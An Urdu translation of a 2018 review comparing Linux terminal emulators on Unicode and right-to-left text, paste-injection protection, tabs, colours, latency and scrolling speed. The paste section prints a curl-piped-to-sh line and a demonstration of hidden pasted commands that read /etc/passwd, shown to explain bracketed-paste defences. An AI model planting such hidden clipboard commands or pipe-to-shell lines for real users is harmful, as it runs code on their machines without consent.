ٹرمینل ایمولیٹرز کا جائزہ

ہمارے ترجمہ بیورو کے چند الفاظ: عام طور پر ہر کوئی تازہ ترین مواد اور اشاعتوں کا ترجمہ کرنے کی کوشش کرتا ہے، اور ہم بھی اس سے مستثنیٰ نہیں ہیں۔ لیکن ٹرمینلز ایسی چیز نہیں ہیں جو ہفتے میں ایک بار اپ ڈیٹ ہو جائیں۔ اس لیے، ہم نے آپ کے لیے Antoine Beaupré کے ایک مضمون کا ترجمہ کیا ہے، جو 2018 کے موسم بہار میں شائع ہوا ہے: جدید معیارات کے لحاظ سے اس کی کافی "عمر" کے باوجود، ہماری رائے میں، مواد نے اپنی مطابقت بالکل نہیں کھوئی ہے۔ اس کے علاوہ، یہ اصل میں دو مضامین کا ایک سلسلہ تھا، لیکن ہم نے انہیں ایک بڑی پوسٹ میں یکجا کرنے کا فیصلہ کیا۔

کمپیوٹر کی تاریخ میں ٹرمینلز کا ایک خاص مقام ہے، لیکن حالیہ دہائیوں میں گرافیکل انٹرفیس ہر جگہ ہونے کی وجہ سے وہ کمانڈ لائن کے ساتھ ساتھ زندہ رہنے پر مجبور ہوئے ہیں۔ ٹرمینل ایمولیٹر ان کی جگہ لے لی ہارڈ ویئر بھائیوں، جو بدلے میں، پنچڈ کارڈز اور ٹوگل سوئچز پر مبنی سسٹمز میں تبدیلی تھی۔ جدید تقسیم تمام شکلوں اور رنگوں کے متعدد ٹرمینل ایمولیٹرز کے ساتھ آتی ہے۔ اور جب کہ بہت سے لوگ اپنے کام کے ماحول کے ذریعہ فراہم کردہ معیاری ٹرمینل سے مطمئن ہیں، کچھ فخر کے ساتھ اپنے پسندیدہ شیل یا ٹیکسٹ ایڈیٹر کو چلانے کے لیے سیدھے سادے غیر ملکی سافٹ ویئر کا استعمال کرتے ہیں۔ لیکن، جیسا کہ ہم اس مضمون سے دیکھیں گے، تمام ٹرمینلز ایک ہی تصویر میں نہیں بنائے گئے تھے: وہ فعالیت، سائز اور کارکردگی میں بہت مختلف ہیں۔

کچھ ٹرمینلز میں سراسر حیرت انگیز حفاظتی سوراخ ہوتے ہیں، نیز زیادہ تر کے فنکشنز کا بالکل مختلف سیٹ ہوتا ہے، ٹیبڈ انٹرفیس کے لیے سپورٹ سے لے کر اسکرپٹنگ تک۔ اگرچہ ہم ماضی بعید میں ٹرمینل ایمولیٹرز کو دیکھایہ مضمون پچھلے مواد کی تازہ کاری ہے جو قارئین کو یہ تعین کرنے میں مدد کرے گا کہ 2018 میں کون سا ٹرمینل استعمال کرنا ہے۔ مضمون کا پہلا حصہ خصوصیات کا موازنہ کرتا ہے، اور دوسرا نصف کارکردگی کا جائزہ لیتا ہے۔

یہ ٹرمینلز ہیں جن کا میں نے جائزہ لیا:

یہ تازہ ترین ورژن نہیں ہوسکتے ہیں، کیونکہ میں لکھنے کے وقت مستحکم تعمیرات تک محدود تھا، جسے میں Debian 9 یا Fedora 27 پر رول آؤٹ کرنے کے قابل تھا۔ یہ GPU- ایکسلریٹڈ ٹرمینلز کی اولاد ہے اور اس کام کے لیے ایک غیر معمولی اور نئی زبان میں لکھا گیا ہے - Rust۔ میں نے اپنے جائزے سے ویب ٹرمینلز کو خارج کر دیا (بشمول ان پر الیکٹران)، کیونکہ ابتدائی ٹیسٹوں نے ان کی انتہائی ناقص کارکردگی دکھائی۔

یونیکوڈ سپورٹ

میں نے یونیکوڈ سپورٹ کے ساتھ اپنے ٹیسٹ شروع کیے ہیں۔ ٹرمینلز کا پہلا ٹیسٹ یونیکوڈ سٹرنگ کو ظاہر کرنا تھا۔ ویکیپیڈیا کے مضامین: "é, Δ, И, ק, م, ๗, あ, 叶, 葉 اور 말۔" یہ سادہ ٹیسٹ ظاہر کرتا ہے کہ آیا ٹرمینل پوری دنیا میں صحیح طریقے سے کام کر سکتا ہے۔ xterm ٹرمینل عربی حروف کو ظاہر نہیں کرتا ہے۔ میم پہلے سے طے شدہ ترتیب میں:

پہلے سے طے شدہ طور پر، xterm کلاسک "فکسڈ" فونٹ استعمال کرتا ہے، جس کے مطابق اب بھی وہی وکی, "1997 سے کافی یونیکوڈ کوریج ہے"۔ اس فونٹ میں کچھ ایسا چل رہا ہے جس کی وجہ سے کریکٹر ایک خالی فریم کے طور پر ظاہر ہوتا ہے اور یہ صرف اس وقت ہوتا ہے جب ٹیکسٹ فونٹ کو 20+ پوائنٹس تک بڑھایا جاتا ہے کہ کردار آخر کار صحیح طور پر ظاہر ہونا شروع ہوتا ہے۔ تاہم، یہ "فکس" دوسرے یونیکوڈ حروف کے ڈسپلے کو توڑ دیتا ہے:

یہ اسکرین شاٹس Fedora 27 میں لیے گئے تھے، کیونکہ اس نے Debian 9 سے بہتر نتائج دیے تھے، جہاں ٹرمینلز کے کچھ پرانے ورژن (خاص طور پر mlterm) فونٹس کو صحیح طریقے سے ہینڈل نہیں کر سکتے تھے۔ خوش قسمتی سے یہ بعد کے ورژن میں طے ہو گیا تھا۔

اب دیکھیں کہ xterm میں لائن کیسے ظاہر ہوتی ہے۔ معلوم ہوا کہ علامت میم اور مندرجہ ذیل سامی قوف RTL طرز کے اسکرپٹس کا حوالہ دیں (دائیں سے بائیں)، تو تکنیکی طور پر انہیں دائیں سے بائیں ڈسپلے کیا جانا چاہیے۔ فائر فاکس 57 جیسے ویب براؤزر اوپر کی لائن کو صحیح طریقے سے ہینڈل کرتے ہیں۔ RTL متن کا ایک آسان ورژن لفظ ہے "Сараعبرانی میں (۔). دو طرفہ متن پر ویکی صفحہ مندرجہ ذیل کہتے ہیں:

"بہت سے کمپیوٹر پروگرام دو طرفہ متن کو صحیح طریقے سے ظاہر نہیں کر سکتے ہیں۔ مثال کے طور پر، عبرانی نام "Sarah" حروف پر مشتمل ہے sin (ש) (جو دائیں طرف ظاہر ہوتا ہے)، پھر resh (ר) اور آخر میں he (ה) (جو بائیں طرف ظاہر ہونا چاہیے)۔"

بہت سے ٹرمینلز اس ٹیسٹ میں ناکام ہو جاتے ہیں: Alacritty، VTE سے ماخوذ Gnome اور XFCE ٹرمینلز، urxvt، st اور xterm "سارہ" کو الٹ ترتیب میں ڈسپلے کرتے ہیں، گویا ہم نے نام "Aras" لکھا ہے۔

دو طرفہ متن کے ساتھ ایک اور مسئلہ یہ ہے کہ انہیں کسی نہ کسی طرح سیدھ میں رکھنے کی ضرورت ہے، خاص طور پر جب بات RTL اور LTR متن کو ملانے کی ہو۔ RTL اسکرپٹ کو ٹرمینل ونڈو کے دائیں جانب سے چلنا چاہیے، لیکن ٹرمینلز کے لیے کیا ہونا چاہیے جو LTR انگریزی میں ڈیفالٹ ہوں؟ ان میں سے زیادہ تر کے پاس کوئی خاص طریقہ کار نہیں ہے اور تمام متن کو بائیں طرف سیدھ میں کریں (بشمول کونسول میں)۔ مستثنیات pterm اور mlterm ہیں، جو معیارات پر عمل کرتے ہیں اور ایسی لائنوں کو دائیں سیدھ میں رکھتے ہیں۔

اندراج تحفظ

اگلی اہم خصوصیت جس کی میں نے شناخت کی ہے وہ اینٹی انسرشن پروٹیکشن ہے۔ اگرچہ یہ بڑے پیمانے پر جانا جاتا ہے کہ منتر جیسے:

$ curl http://example.com/ | sh

کوڈ ایگزیکیوشن پش کمانڈز ہیں، بہت کم لوگ جانتے ہیں کہ محتاط معائنہ کے بعد بھی ویب براؤزر سے کاپی اور پیسٹ کرتے وقت پوشیدہ کمانڈز کنسول میں داخل ہو سکتے ہیں۔ توثیقی سائٹ Gianna Horna شاندار طریقے سے دکھاتا ہے کہ کمانڈ کتنی معصوم نظر آتی ہے:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

ہارن کی ویب سائٹ سے ٹرمینل میں چسپاں کرنے پر اس طرح کی پریشانی میں بدل جاتا ہے:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

یہ کیسے کام کرتا ہے؟ بدنیتی پر مبنی کوڈ بلاک میں شامل ہے۔ ، جسے CSS کا استعمال کرتے ہوئے صارف کے نظارے سے باہر منتقل کیا جاتا ہے۔

بریکٹ شدہ پیسٹ موڈ واضح طور پر اس طرح کے حملوں کو بے اثر کرنے کے لیے ڈیزائن کیا گیا ہے۔ اس موڈ میں، ٹرمینلز شیل کو متن کی اصلیت کے بارے میں بتانے کے لیے خصوصی فرار کی ترتیب کے جوڑے میں چسپاں کیے گئے متن کو بند کر دیتے ہیں۔ یہ شیل کو بتاتا ہے کہ یہ ان خاص حروف کو نظر انداز کر سکتا ہے جو پیسٹ کیے گئے متن پر مشتمل ہو سکتے ہیں۔ قابل احترام xterm پر واپس آنے والے تمام ٹرمینلز اس خصوصیت کی حمایت کرتے ہیں، لیکن بریکٹڈ موڈ میں چسپاں کرنے کے لیے ٹرمینل پر چلنے والے شیل یا ایپلیکیشن کی مدد کی ضرورت ہوتی ہے۔ مثال کے طور پر، سافٹ ویئر کا استعمال کرتے ہوئے GNU ریڈ لائن (ایک ہی باش)، ایک فائل کی ضرورت ہے۔ ~/.inputrc:

set enable-bracketed-paste on

بدقسمتی سے، ہارن کی ٹیسٹ سائٹ یہ بھی دکھاتی ہے کہ ٹیکسٹ فارمیٹنگ کے ذریعے اس تحفظ کو کیسے نظرانداز کیا جائے اور قبل از وقت اس پر بریکٹڈ موڈ کا اطلاق کیا جائے۔ یہ اس لیے کام کرتا ہے کیونکہ کچھ ٹرمینلز اپنے کو شامل کرنے سے پہلے فرار کی ترتیب کو صحیح طریقے سے فلٹر نہیں کرتے ہیں۔ مثال کے طور پر، میں صحیح ترتیب کے باوجود کبھی بھی کونسول ٹیسٹ کو کامیابی سے مکمل نہیں کر سکا .inputrc فائل اس کا مطلب یہ ہے کہ آپ غیر تعاون یافتہ ایپلیکیشن یا غلط کنفیگر شدہ شیل کی وجہ سے اپنے سسٹم کی کنفیگریشن کو آسانی سے خراب کر سکتے ہیں۔ ریموٹ سرورز میں لاگ ان کرتے وقت یہ خاص طور پر خطرناک ہوتا ہے، جہاں محتاط ترتیب کا کام کم عام ہے، خاص طور پر اگر آپ کے پاس ایسی بہت سی ریموٹ مشینیں ہوں۔

اس مسئلے کا ایک اچھا حل ٹرمینل کے لیے پیسٹ کنفرمیشن پلگ ان ہے۔ urxvt، جو کسی بھی متن کو داخل کرنے کی اجازت طلب کرتا ہے جس میں نئی ​​لائنیں ہوں۔ مجھے ہارن کے بیان کردہ ٹیکسٹ اٹیک کے لیے زیادہ محفوظ آپشن نہیں ملا۔

ٹیبز اور پروفائلز

اس وقت ایک مقبول خصوصیت ٹیبڈ انٹرفیس کے لیے سپورٹ ہے، جسے ہم ایک ٹرمینل ونڈو کے طور پر بیان کریں گے جس میں کئی دوسرے ٹرمینلز ہوں۔ یہ فنکشن مختلف ٹرمینلز کے لیے مختلف ہے، اور اگرچہ روایتی xterm ٹرمینلز ٹیبز کو بالکل بھی سپورٹ نہیں کرتے ہیں، زیادہ جدید ٹرمینل اوتار جیسے Xfce Terminal، GNOME Terminal اور Konsole میں یہ فنکشن موجود ہے۔ Urxvt ٹیبز کو بھی سپورٹ کرتا ہے، لیکن صرف اس صورت میں جب آپ پلگ ان استعمال کرتے ہیں۔ لیکن خود ٹیب سپورٹ کے معاملے میں، ٹرمینیٹر غیر متنازعہ لیڈر ہے: یہ نہ صرف ٹیبز کو سپورٹ کرتا ہے، بلکہ ٹرمینلز کو کسی بھی ترتیب سے ترتیب دے سکتا ہے (نیچے تصویر دیکھیں)۔

ٹرمینیٹر کی ایک اور خصوصیت ان ٹیبز کو ایک ساتھ "گروپ" کرنے کی صلاحیت ہے اور ایک ہی وقت میں ایک سے زیادہ ٹرمینلز پر ایک ہی کی اسٹروک بھیجنے کی صلاحیت ہے، جو بیک وقت متعدد سرورز پر بلک آپریشنز کرنے کے لیے ایک خام ٹول فراہم کرتی ہے۔ اسی طرح کی ایک خصوصیت کونسول میں بھی لاگو کی گئی ہے۔ اس فیچر کو دوسرے ٹرمینلز میں استعمال کرنے کے لیے، آپ کو تھرڈ پارٹی سافٹ ویئر استعمال کرنا چاہیے جیسے کلسٹر SSH, xlax یا tmux.

ٹیبز خاص طور پر اچھی طرح کام کرتی ہیں جب پروفائلز کے ساتھ جوڑا بنایا جاتا ہے: مثال کے طور پر، آپ کے پاس ای میل کے لیے ایک ٹیب، چیٹ کے لیے دوسرا، وغیرہ ہو سکتا ہے۔ یہ کونسول ٹرمینل اور گنووم ٹرمینل کے ذریعہ اچھی طرح سے تعاون یافتہ ہے۔ دونوں ہر ٹیب کو خود بخود اپنا پروفائل لانچ کرنے کی اجازت دیتے ہیں۔ ٹرمینیٹر پروفائلز کو بھی سپورٹ کرتا ہے، لیکن جب آپ کوئی مخصوص ٹیب کھولتے ہیں تو مجھے خود بخود کچھ پروگرامز لانچ کرنے کا کوئی طریقہ نہیں مل سکا۔ دوسرے ٹرمینلز میں "پروفائل" کا کوئی تصور نہیں ہے۔

رفلز

آخری چیز جس کا میں اس مضمون کے پہلے حصے میں احاطہ کروں گا وہ ہے ٹرمینلز کی ظاہری شکل۔ مثال کے طور پر GNOME، Xfce اور urxvt شفافیت کی حمایت کرتے ہیں، لیکن حال ہی میں پس منظر کی تصاویر کے لیے سپورٹ چھوڑ دیا ہے، جس سے کچھ صارفین کو ٹرمینل پر جانے پر مجبور کیا گیا ہے۔ ٹیلکس. ذاتی طور پر، میں اس سے خوش ہوں اور یہ آسان ہے۔ وسائل، جو urxvt کے لیے پس منظر کے رنگوں کا بنیادی سیٹ سیٹ کرتا ہے۔ تاہم، غیر معیاری رنگین تھیمز بھی مسائل پیدا کر سکتے ہیں۔ مثال کے طور پر، شمسی توانائی کام نہیں کرتا ایپلی کیشنز کے ساتھ htop и آئی پی ٹرافچونکہ وہ پہلے ہی اپنے رنگ استعمال کر رہے ہیں۔

اصل VT100 ٹرمینل رنگوں کی حمایت نہیں کرتے تھے، اور نئے اکثر 256 رنگوں کے پیلیٹ تک محدود ہوتے تھے۔ اعلی درجے کے صارفین کے لیے جو اپنے ٹرمینلز، شیل پرامپٹس یا اسٹیٹس بار کو پیچیدہ طریقوں سے اسٹائل کرتے ہیں، ایک پریشان کن حد ہو سکتی ہے۔ جسٹ ٹریک کرتا ہے کہ کون سے ٹرمینلز کو "ٹرو کلر" سپورٹ حاصل ہے۔ میرے ٹیسٹ اس بات کی تصدیق کرتے ہیں کہ st, Alacritty اور VTE پر مبنی ٹرمینلز True Color کو بالکل سپورٹ کرتے ہیں۔ دوسرے ٹرمینلز اس سلسلے میں بہت اچھے نہیں ہیں اور درحقیقت 256 رنگ بھی نہیں دکھاتے۔ ذیل میں آپ GNOME ٹرمینلز، st اور xterm میں True Color سپورٹ کے درمیان فرق دیکھ سکتے ہیں، جو اپنے 256 کلر پیلیٹ اور urxvt کے ساتھ اس کا اچھا کام کرتے ہیں، جو نہ صرف ٹیسٹ میں ناکام ہوتا ہے، بلکہ ان کی بجائے کچھ جھپکتے ہوئے حروف کو بھی دکھاتا ہے۔

کچھ ٹرمینلز لنکس کو کلک کرنے کے قابل بنانے کے لیے URL پیٹرن کے لیے متن کا تجزیہ بھی کرتے ہیں۔ یہ VTE سے حاصل کردہ تمام ٹرمینلز پر لاگو ہوتا ہے، جب کہ urxvt کو ایک خاص پلگ ان کی ضرورت ہوتی ہے جو یو آر ایل کو کلک کرنے پر یا کی بورڈ شارٹ کٹ کا استعمال کرتے ہوئے تبدیل کرے۔ دوسرے ٹرمینلز میں نے دوسرے طریقوں سے ڈسپلے یو آر ایل کا تجربہ کیا ہے۔

آخر میں، ٹرمینلز میں ایک نیا رجحان اسکرول بفر کا اختیار ہے۔ مثال کے طور پر، st میں کوئی اسکرول بفر نہیں ہے۔ یہ فرض کیا جاتا ہے کہ صارف ٹرمینل ملٹی پلیکسر جیسے tmux اور استعمال کرے گا۔ GNU اسکرین.

الیکٹرٹی میں بیک اسکرول بفرز کی بھی کمی ہے، لیکن جلد ہی شامل کیا جائے گا۔ صارفین کی طرف سے اس موضوع پر "وسیع تاثرات" کی وجہ سے اس کی حمایت۔ ان اپ سٹارٹس کے علاوہ، میں نے ہر ٹرمینل کا تجربہ کیا ہے کہ مجھے ریورس سکرولنگ کی حمایت مل سکتی ہے۔

سبٹوٹلز

مواد کے دوسرے حصے میں (اصل میں یہ دو مختلف مضامین تھے - تقریبا. لین) ہم کارکردگی، میموری کے استعمال اور تاخیر کا موازنہ کریں گے۔ لیکن ہم پہلے ہی دیکھ سکتے ہیں کہ زیر غور کچھ ٹرمینلز میں سنگین کوتاہیاں ہیں۔ مثال کے طور پر، وہ صارف جو باقاعدگی سے RTL اسکرپٹ کے ساتھ کام کرتے ہیں وہ mlterm اور pterm پر غور کرنا چاہتے ہیں، کیونکہ وہ اسی طرح کے کاموں کو دوسروں کے مقابلے میں بہتر طریقے سے سنبھالتے ہیں۔ کونسول نے بھی اچھی کارکردگی کا مظاہرہ کیا۔ وہ صارفین جو RTL اسکرپٹ کے ساتھ کام نہیں کرتے ہیں وہ کچھ اور منتخب کر سکتے ہیں۔

بدنیتی پر مبنی کوڈ داخل کرنے کے خلاف تحفظ کے لحاظ سے، urxvt اس قسم کے حملے کے خلاف تحفظ کے خصوصی نفاذ کی وجہ سے نمایاں ہے، جو میرے لیے یقینی طور پر آسان معلوم ہوتا ہے۔ ان لوگوں کے لیے جو کچھ گھنٹیاں اور سیٹیوں کی تلاش میں ہیں، کونسول دیکھنے کے قابل ہے۔ آخر میں، یہ بات قابل غور ہے کہ VTE ٹرمینلز کے لیے ایک بہترین بنیاد ہے، جو رنگ کی حمایت، URL کی شناخت، وغیرہ کی ضمانت دیتا ہے۔ پہلی نظر میں، آپ کے پسندیدہ ماحول کے ساتھ آنے والا ڈیفالٹ ٹرمینل تمام تقاضوں کو پورا کر سکتا ہے، لیکن آئیے اس سوال کو اس وقت تک کھلا چھوڑ دیتے ہیں جب تک کہ ہم کارکردگی کو نہ سمجھ لیں۔

آئیے بات چیت جاری رکھیں

عام طور پر، ٹرمینلز کی کارکردگی بذات خود ایک دور دراز کے مسئلے کی طرح لگ سکتی ہے، لیکن جیسا کہ یہ پتہ چلتا ہے، ان میں سے کچھ ایسے بنیادی قسم کے سافٹ ویئر کے لیے حیرت انگیز طور پر زیادہ تاخیر کا مظاہرہ کرتے ہیں۔ اس کے علاوہ ہم دیکھیں گے کہ روایتی طور پر "رفتار" کیا کہا جاتا ہے (حقیقت میں، یہ اسکرولنگ اسپیڈ ہے) اور ٹرمینل کی میموری کی کھپت (اس انتباہ کے ساتھ کہ یہ آج اتنا اہم نہیں ہے جتنا کہ دہائیاں پہلے تھا)۔

تاخیر۔

ٹرمینل کی کارکردگی کے مکمل مطالعہ کے بعد، میں اس نتیجے پر پہنچا کہ اس سلسلے میں سب سے اہم پیرامیٹر لیٹنسی (پنگ) ہے۔ اپنے مضمون میں "ہم خوشی سے پرنٹ کرتے ہیں" Pavel Fatin نے مختلف ٹیکسٹ ایڈیٹرز کی تاخیر کو دیکھا اور اشارہ کیا کہ اس سلسلے میں ٹرمینلز تیز ترین ٹیکسٹ ایڈیٹرز سے سست ہو سکتے ہیں۔ یہ اشارہ ہی تھا جس نے بالآخر مجھے اپنے ٹیسٹ چلانے اور یہ مضمون لکھنے پر مجبور کیا۔

لیکن تاخیر کیا ہے، اور یہ اتنا اہم کیوں ہے؟ اپنے مضمون میں، فاٹین نے اس کی تعریف "کسی کلید کو دبانے اور متعلقہ اسکرین اپ ڈیٹ کے درمیان تاخیر" کے طور پر کی ہے اور اس کا حوالہ دیا ہے۔ "انسانی کمپیوٹر کے تعامل کے لیے گائیڈ"، جو کہتا ہے: "کمپیوٹر ڈسپلے پر بصری تاثرات میں تاخیر کا ٹائپسٹ کے رویے اور اطمینان پر ایک اہم اثر پڑتا ہے۔"

فاٹین وضاحت کرتا ہے کہ اس پنگ کے محض اطمینان سے زیادہ گہرے نتائج ہیں: "ٹائپنگ سست ہو جاتی ہے، زیادہ غلطیاں ہوتی ہیں، اور آنکھ اور پٹھوں میں تناؤ بڑھ جاتا ہے۔" دوسرے الفاظ میں، ایک بڑی تاخیر ٹائپ کی غلطیوں اور کوڈ کوالٹی کو کم کرنے کا باعث بن سکتی ہے، کیونکہ اس سے دماغ پر اضافی علمی بوجھ پڑتا ہے۔ لیکن اس سے بدتر بات یہ ہے کہ پنگ "آنکھ اور پٹھوں میں تناؤ کو بڑھاتا ہے"، جس کا مطلب لگتا ہے۔ پیشہ ورانہ زخموں کی ترقی مستقبل میں (بظاہر، مصنف کا مطلب آنکھوں، کمر، بازوؤں اور یقیناً بصارت کے پٹھوں کے ساتھ مسائل ہیں۔ لین) بار بار دباؤ کی وجہ سے۔

ان میں سے کچھ اثرات ایک طویل عرصے سے معلوم ہیں، اور نتائج تحقیق1976 میں جرنل Ergonomics میں شائع ہوا، نے کہا کہ 100 ملی سیکنڈ کی تاخیر "ٹائپنگ کی رفتار کو نمایاں طور پر متاثر کرتی ہے۔" ابھی حال ہی میں، GNOME یوزر گائیڈ متعارف کرایا گیا ہے۔ قابل قبول ردعمل کا وقت 10 ملی سیکنڈ میں، اور اگر آپ آگے جاتے ہیں، تو مائیکروسافٹ ریسرچ ظاہر کرتا ہے کہ 1 ملی سیکنڈ مثالی ہے۔

فاٹین نے ٹیکسٹ ایڈیٹرز پر اپنے ٹیسٹ کئے۔ اس نے ایک پورٹیبل آلہ بنایا جس کا نام ہے۔ ٹائپومیٹر، جسے میں ٹرمینل ایمولیٹرز میں پنگ کی جانچ کرتا تھا۔ ذہن میں رکھیں کہ ٹیسٹ سمولیشن موڈ میں کیا گیا تھا: حقیقت میں، ہمیں ان پٹ (کی بورڈ، USB کنٹرولر، وغیرہ) اور آؤٹ پٹ (ویڈیو کارڈ بفر، مانیٹر) میں تاخیر دونوں کو مدنظر رکھنا ہوگا۔ فاٹین کے مطابق، عام ترتیب میں یہ تقریباً 20 ایم ایس ہے۔ اگر آپ کے پاس گیمنگ کا سامان ہے، تو آپ یہ اعداد و شمار صرف 3 ملی سیکنڈ میں حاصل کر سکتے ہیں۔ چونکہ ہمارے پاس پہلے سے ہی اتنا تیز ہارڈ ویئر موجود ہے، اس لیے ایپلیکیشن کو اپنی تاخیر کو شامل کرنے کی ضرورت نہیں ہے۔ فاٹین کا مقصد ایپلیکیشن کی تاخیر کو 1 ملی سیکنڈ تک لانا ہے، یا بغیر ڈائلنگ کے بھی حاصل کرنا ہے۔ قابل پیمائش تاخیر، کیسے انٹیلی جے آئی ڈی ای اے 15۔.

یہاں میری پیمائش کے نتائج ہیں، ساتھ ہی فاٹین کے کچھ نتائج، یہ ظاہر کرنے کے لیے کہ میرا تجربہ اس کے ٹیسٹوں سے متفق ہے:

پہلی چیز جس نے مجھے متاثر کیا وہ پرانے پروگراموں جیسے xterm اور mlterm کا بہتر رسپانس ٹائم تھا۔ رجسٹر میں بدترین تاخیر (2,4 ms) کے ساتھ، انہوں نے تیز ترین جدید ٹرمینل (10,6 ms for st) سے بہتر کارکردگی کا مظاہرہ کیا۔ کوئی جدید ٹرمینل 10 ملی سیکنڈ کی حد سے نیچے نہیں آتا ہے۔ خاص طور پر، Alacritty "تیز ترین ٹرمینل ایمولیٹر دستیاب" کے دعوے کو پورا کرنے میں ناکام ہے، حالانکہ 2017 میں اس کے پہلے جائزے کے بعد سے اس کے اسکور میں بہتری آئی ہے۔ بے شک، اس منصوبے کے مصنفین صورت حال سے آگاہ اور ڈسپلے کو بہتر بنانے کے لیے کام کر رہے ہیں۔ یہ بھی واضح رہے کہ GTK3 کا استعمال کرتے ہوئے Vim اس کے GTK2 ہم منصب سے سست رفتار کا آرڈر ہے۔ اس سے ہم یہ نتیجہ اخذ کر سکتے ہیں کہ GTK3 اضافی تاخیر پیدا کرتا ہے، اور یہ دوسرے تمام ٹرمینلز میں ظاہر ہوتا ہے جو اسے استعمال کرتے ہیں (ٹرمینیٹر، Xfce4 ٹرمینل اور GNOME ٹرمینل)۔

تاہم، اختلافات آنکھوں کے لئے قابل توجہ نہیں ہوسکتے ہیں. جیسا کہ Fatin وضاحت کرتا ہے، "آپ کو تاخیر سے آگاہ ہونے کی ضرورت نہیں ہے کہ آپ پر اثر پڑے۔" فاٹین معیاری انحراف کے بارے میں بھی انتباہ کرتا ہے: "تقریب میں کوئی خلل (جھگڑا) ان کی غیر متوقع ہونے کی وجہ سے اضافی تناؤ پیدا کرتا ہے۔"

اوپر کا گراف خالص ڈیبین 9 (اسٹریچ) کے ساتھ لیا گیا ہے۔ i3 ونڈو مینیجر. یہ ماحول لیٹنسی ٹیسٹوں میں بہترین نتائج پیدا کرتا ہے۔ جیسا کہ یہ پتہ چلتا ہے، GNOME تمام پیمائشوں کے لیے 20 ms کا اضافی پنگ بناتا ہے۔ اس کی ایک ممکنہ وضاحت ان پٹ ایونٹس کی ہم وقت ساز پروسیسنگ والے پروگراموں کی موجودگی ہے۔ فطین اس طرح کے معاملے کے لیے ایک مثال دیتا ہے۔ ورکرا، جو ہم وقت سازی کے ساتھ تمام ان پٹ ایونٹس پر کارروائی کرکے تاخیر کا اضافہ کرتا ہے۔ پہلے سے طے شدہ طور پر، GNOME بھی ونڈو مینیجر کے ساتھ آتا ہے۔ بڑبڑاہٹ، جو بفرنگ کی ایک اضافی تہہ بناتی ہے، جو پنگ کو متاثر کرتی ہے اور کم از کم 8 ملی سیکنڈ کی تاخیر کا اضافہ کرتی ہے۔

اسکرول کی رفتار

اگلا ٹیسٹ ایک روایتی "اسپیڈ" یا "بینڈ وڈتھ" ٹیسٹ ہے، جو اس بات کی پیمائش کرتا ہے کہ سکرین پر متن کی بڑی مقدار کو ظاہر کرتے ہوئے ٹرمینل کسی صفحہ کو کتنی جلدی اسکرول کر سکتا ہے۔ ٹیسٹ کے میکانکس مختلف ہوتے ہیں؛ اصل ٹیسٹ صرف seq کمانڈ کا استعمال کرتے ہوئے ایک ہی ٹیکسٹ سٹرنگ تیار کرنا تھا۔ دیگر ٹیسٹوں میں Thomas E. Dickey's (xterm maintener) ٹیسٹ شامل ہے، جو بار بار ہوتا ہے۔ terminfo.src فائل ڈاؤن لوڈ ہو گئی ہے۔. ٹرمینل کی کارکردگی کے ایک اور جائزے میں ڈین لو بے ترتیب بائٹس کی ایک بیس 32 انکوڈ شدہ سٹرنگ استعمال کرتا ہے، جو cat کا استعمال کرتے ہوئے ٹرمینل پر آؤٹ پٹ ہوتا ہے۔ Luu اس طرح کے ٹیسٹ کو "اتنا بیکار ایک بینچ مارک جتنا کوئی تصور کر سکتا ہے" سمجھتا ہے اور اس کی بجائے ٹرمینل رسپانس کو بنیادی میٹرک کے طور پر استعمال کرنے کا مشورہ دیتا ہے۔ ڈکی نے اپنے ٹیسٹ کو گمراہ کن بھی کہا ہے۔ تاہم، دونوں مصنفین تسلیم کرتے ہیں کہ ٹرمینل ونڈو بینڈوتھ ایک مسئلہ ہو سکتا ہے۔ Luu نے بڑی فائلوں کو ڈسپلے کرتے وقت Emacs Eshell کے منجمد ہونے کا پتہ لگایا، اور Dickey نے xtrerm کی بصری سستی سے چھٹکارا پانے کے لیے ٹرمینل کو بہتر بنایا۔ اس لیے اس ٹیسٹ میں اب بھی کچھ میرٹ باقی ہے، لیکن چونکہ رینڈرنگ کا عمل ٹرمینل سے ٹرمینل تک بہت مختلف ہے، اس لیے اسے دوسرے پیرامیٹرز کو جانچنے کے لیے ٹیسٹ کے جزو کے طور پر بھی استعمال کیا جا سکتا ہے۔

یہاں ہم مقابلہ سے پہلے rxvt اور st پل دیکھتے ہیں، اس کے بعد بہت زیادہ نئی Alacritty، جو کارکردگی پر توجہ مرکوز کرتے ہوئے ڈیزائن کی گئی ہے۔ اس کے بعد Xfce (VTE فیملی) اور کونسول ہیں، جو تقریباً دوگنا تیز ہیں۔ آخری xterm ہے، جو rxvt سے پانچ گنا سست ہے۔ ٹیسٹ کے دوران، xterm نے بھی بہت ہلچل مچا دی، جس سے متن کو گزرنا مشکل ہو گیا، چاہے وہ ایک ہی لائن میں ہو۔ کونسول تیز تھا، لیکن بعض اوقات یہ مشکل تھا: ڈسپلے وقتاً فوقتاً منجمد ہو جاتا تھا، جزوی متن دکھاتا تھا یا بالکل نہیں دکھاتا تھا۔ دیگر ٹرمینلز نے واضح طور پر تاریں ظاہر کیں، بشمول st، Alacritty، اور rxvt۔

ڈکی وضاحت کرتا ہے کہ کارکردگی میں فرق مختلف ٹرمینلز میں اسکرول بفرز کے ڈیزائن کی وجہ سے ہے۔ خاص طور پر، وہ rxvt اور دیگر ٹرمینلز پر "عام اصولوں پر عمل نہ کرنے" کا الزام لگاتا ہے:

"xterm کے برعکس، rxvt نے تمام اپ ڈیٹس کو ظاہر کرنے کی کوشش نہیں کی۔ اگر یہ پیچھے ہو جاتا ہے، تو یہ کچھ اپ ڈیٹس کو پکڑنے سے انکار کر دے گا۔ اس کا اندرونی میموری کی تنظیم کے مقابلے میں اسکرولنگ کی ظاہری رفتار پر زیادہ اثر پڑا۔ ایک خرابی یہ تھی کہ ASCII حرکت پذیری کسی حد تک غلط تھی۔"

